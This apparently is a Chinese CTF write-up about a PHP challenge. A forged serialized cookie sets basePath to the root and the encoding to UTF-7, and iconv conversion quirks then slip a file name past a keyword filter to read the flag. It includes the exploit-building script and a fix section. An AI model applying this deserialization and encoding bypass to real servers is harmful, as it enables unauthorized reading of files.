攻击手法:
漏洞点主要在preview.php
看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if (isset($_COOKIE['user'])) { $user = @unserialize($_COOKIE['user']); } if (!$user instanceof User) { $user = new User("guest"); setcookie("user", serialize($user), time() + 86400, "/"); }
$f = (string)($_GET['f'] ?? ""); if ($f === "") { http_response_code(400); echo "Missing parameter: f"; exit; }
$rawPath = $user->basePath . $f;
|
中间没有任何过滤所以是存在反序列化漏洞的
User类很简单,成员变量都是可以伪造的
1 2 3 4 5 6 7 8 9 10 11 12
| <?php declare(strict_types=1);
class User { public string $name = "guest"; public string $encoding = "UTF-8"; public string $basePath = "/var/www/html/uploads/";
public function __construct(string $name = "guest") { $this->name = $name; } }
|
在后面则是做了一些过滤,然后包含了文件内容,最后把内容打印在网页上
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) { http_response_code(403); echo "Access denied"; exit; }
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath); if ($convertedPath === false || $convertedPath === "") { http_response_code(500); echo "Conversion failed"; exit; }
$content = @file_get_contents($convertedPath);
|
我们的目的是读取根目录flag,在读文件之前这做了一个编码转换
这就需要知道php中iconv函数的一些特性了,这里列了两个
1 2 3 4 5
| 1.`iconv` 函数在从 `UTF-7` 转换到 `UTF-8` 并指定 ` iconv("UTF-7", "UTF-8//IGNORE", '/');
2.`€`绕过 €在UTF-8与ISO-8859-1的转换中会被丢弃
|
这样思路就有了
在cookie的user字段传入我们构造好的序列化字符串basePath设置为根目录,并get传参一个文件名
这里用的是第一种编码转换方法,写个脚本
1 2 3 4 5 6 7 8 9
| <?php
class User { public string $name = "guest"; public string $encoding = "UTF-7"; public string $basePath = "/"; } echo urlencode(serialize(new User()));
|
在flag中间加一个UTF-7无法转UTF-8的字符,然后传参给f
第二种方法也是一个道理

防御方法:
User类把basePath成员删掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
declare(strict_types=1);
class User { public string $name = "guest"; public string $encoding = "UTF-8";
public function __construct(string $name = "guest") { $this->name = $name; } }
|
preview.php中,User实例取消使用basePath,硬编码路径
1 2 3 4 5
| $rawPath = $user->basePath . $f;
改为: $rawPath = "/var/www/html/uploads/" . $f;
|
把改为先编码转换再做WAF检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) { http_response_code(403); echo "Access denied"; exit; }
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
改为: $convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $convertedPath)) { http_response_code(403); echo "Access denied"; exit; }
|